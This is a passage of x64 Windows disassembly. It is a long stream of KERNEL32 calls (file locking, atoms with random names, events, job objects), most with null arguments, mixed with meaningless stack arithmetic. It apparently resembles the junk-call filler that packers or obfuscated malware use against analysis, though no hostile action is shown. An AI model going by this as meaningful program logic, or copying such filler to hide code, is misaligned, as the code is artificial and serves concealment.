call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4974], eax
mov edx, 0x178e
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4bcc], eax
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x122c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 0x6e0
xor r8d, r8d
lea rdx, [rsp + 0x9668]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
mov rax, qword [0x14024f380]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa310]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9a38]
mov byte [rcx], al
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20460]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4978], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
mov rcx, qword [rsp + 0xa0f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f230]
mov dword [rcx], eax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1050
mov r9d, 0x2066
mov r8d, 0x6da2b223
mov edx, 1
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4bd0], eax
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0xa688], rax
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
movzx eax, word [0x14022fb84]
mov rcx, qword [rsp + 0xa618]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1134]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1168], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x13ba
mov r9d, 0x3c40
mov r8d, 0xf80e6535
mov edx, 2
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a64], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rax, [rsp + 0x9ab0]
mov qword [rsp + 0xa698], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [rsp + 0x20], 0xa73
mov r9d, 0x3fc
mov r8d, 0x3d35
mov edx, 0x2a76
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0x9c58]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49e8], eax
lea rcx, str.lQNlCc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x124c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x9968]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bd4], eax
xor r9d, r9d
lea r8, [rsp + 0xa5a8]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4940], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa550]
movzx eax, word [rax]
mov word [rsp + 0x1250], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0x9dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a30], eax
mov rax, qword [rsp + 0xa588]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a0], al
lea rax, [rsp + 0xf98]
mov qword [rsp + 0xa6a0], rax
movzx eax, byte [rsp + 0x296]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14024f398]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x96a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3a8], rax
lea rcx, str.DSSyRHnjtZB_I5Gzn_XM3UOAw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1254], ax
lea rdx, [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
lea rax, [rsp + 0x4570]
mov qword [rsp + 0xa6a8], rax
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x280]
imul eax, ecx
mov byte [rsp + 0x29f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx eax, word [rsp + 0x108c]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov word [rsp + 0x1164], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa6b0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov word [rsp + 0x1258], ax
lea rcx, str.CpuRSk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x420c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4884], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rax, [rsp + 0x2a3]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x89e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa688]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4770]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a1c], eax
lea rcx, str.F0jA4_G8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1260], ax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov word [0x14024f208], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x8980]
movzx ecx, al
mov rax, qword [rsp + 0x9ab0]
sar rax, cl
mov rcx, qword [rsp + 0x9d08]
mov qword [rcx], rax
mov edx, 0x265e
mov rcx, qword [rsp + 0x9e30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a68], eax
mov rax, qword [0x14022fb60]
mov qword [rsp + 0xa6c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rcx, str.U0_CAZdn_RjSqz7_B9m9S9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1264], ax
lea rcx, [rsp + 0x20fa0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4b84], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x4898]
mov ecx, dword [rsp + 0x4200]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.zbj26wFL60mYUeQiRAsPBP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa6c8], rax
movzx ecx, word [rsp + 0xfd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1190], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx ecx, word [rsp + 0x1240]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1268], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0x9fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1118]
or eax, ecx
mov word [rsp + 0x998], ax
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x153]
shl eax, cl
mov rcx, qword [rsp + 0xa448]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa058]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x29d], al
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
lea r8, [rsp + 0x9c10]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bd8], eax
mov r9d, 0x628
xor r8d, r8d
lea rdx, [rsp + 0xa6b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f8], eax
movzx eax, word [rsp + 0x1038]
mov word [rsp + 0x126c], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1050
mov r8d, 0x2066
mov edx, 0xc7
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4bdc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rcx, qword [rsp + 0x9bc0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x98a8]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14024f24c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.vMJwVYtx5NQgIv_vlf57yic
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa6d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov dword [rsp + 0x20], 0x23b0
mov r9d, 0x35ae
mov r8d, 0x2b88
mov edx, 0x3cf2
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4be0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0x8960]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9688]
mov qword [rcx], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xa09
mov r8d, 0x35ea
mov edx, 0x19
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4b64], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rax, [rsp + 0xa250]
mov qword [rsp + 0xa6d8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa6e0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [0x14024f278]
mov ecx, dword [rsp + 0x49b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ee4], eax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x9f88]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4be4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movsx eax, word [rsp + 0xf84]
mov rcx, qword [rsp + 0x9d90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1110], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
lea rax, [rsp + 0x216]
mov qword [rsp + 0xa6e8], rax
mov r9d, 0x685
xor r8d, r8d
lea rdx, [rsp + 0x93a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4be8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x9330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa378], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov r9d, 0x1cc4
xor r8d, r8d
lea rdx, [rsp + 0x9c40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a74], eax
lea rcx, [rsp + 0xa6f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x20c40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, 0x127f
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4bf0], eax
lea rdx, [rsp + 0xa3c8]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4960], eax
lea rax, [rsp + 0x48a0]
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [0x14024f3b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1208], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a38], eax
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1270], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49a0], eax
lea rax, [rsp + 0xf0c]
mov qword [0x14024f200], rax
mov rcx, qword [rsp + 0xa6e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b34], eax
lea rcx, str.uiTQ_vTfW5Ws_QlRoaTdAB7Rhm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1274], ax
lea rdx, [rsp + 0xa258]
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b6c], eax
movzx eax, byte [rsp + 0x26a]
movzx ecx, byte [rsp + 0x274]
imul eax, ecx
mov byte [rsp + 0x296], al
lea rcx, str.9_VUUPE_HyD.oN5V
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1278], ax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov byte [rsp + 0x2a5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov dword [rsp + 0x4774], eax
xor r9d, r9d
lea r8, [rsp + 0x9928]
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aa4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0xa700], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf65
mov r9d, 0x2c4d
mov r8d, 0x8f530534
mov edx, 2
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4b74], eax
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movsx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x216], al
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
lea rdx, [rsp + 0xa708]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0x9fc8]
mov rcx, qword [rsp + 0xa6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x435c], eax
mov rax, qword [rsp + 0x9f60]
movzx eax, word [rax]
mov rcx, qword [0x14024f378]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe34], ax
lea rcx, [rsp + 0x1a858]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0xa710]
mov rcx, qword [rsp + 0x9a28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4844], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4990], eax
lea rcx, [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [0x14024f280]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa718], rax
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bbc], eax
mov r9d, 0x16cb
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0xa3c8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa6c0]
mov qword [rsp + 0xa720], rax
mov rax, qword [rsp + 0x9080]
movzx ecx, al
mov rax, qword [rsp + 0xa000]
sar rax, cl
mov qword [rsp + 0x9c50], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xead
mov r9d, 5
mov r8d, 0xf873bc81
mov edx, 2
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4bf4], eax
lea rax, [rsp + 0x8028]
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0xa628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
or eax, ecx
mov word [rsp + 0xf80], ax
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x9330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95f8]
mov qword [rsp + 0xa730], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa730]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa1c8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bf8], eax
xor r9d, r9d
lea r8, [rsp + 0x9ec8]
mov rdx, qword [rsp + 0x9dd8]
mov rcx, qword [rsp + 0xa1b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4704], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b02
mov r9d, 0x2119
mov r8d, 0xce73771b
mov edx, 1
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4bfc], eax
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b8], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ca0], rax
movsx eax, byte [rsp + 0x25a]
movsx ecx, byte [rsp + 0xb2]
xor eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0xa308]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11f0], ax
lea rax, [rsp + 0x4928]
mov qword [rsp + 0xa738], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x317a
mov r9d, 0x2a0f
mov r8d, 0x1fb7
mov edx, 0xc21
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a4c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
mov rax, qword [rsp + 0x9b40]
movzx eax, byte [rax]
mov byte [0x14024f1fa], al
mov eax, dword [rsp + 0x4a1c]
mov dword [rsp + 0x474c], eax
movzx eax, word [rsp + 0x600]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx eax, byte [rsp + 0x26a]
mov byte [rsp + 0x2a6], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fc8]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x1581
mov r9d, 0x32e0
mov r8d, 0x251d
mov edx, 0x3a06
mov rcx, qword [rsp + 0xa2d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b20], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rcx, str.91aPWl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rax, [rsp + 0x1188]
mov qword [rsp + 0xa740], rax
mov eax, dword [rsp + 0x4acc]
mov ecx, dword [rsp + 0x43fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0xa580]
mov rdx, qword [rsp + 0x9740]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
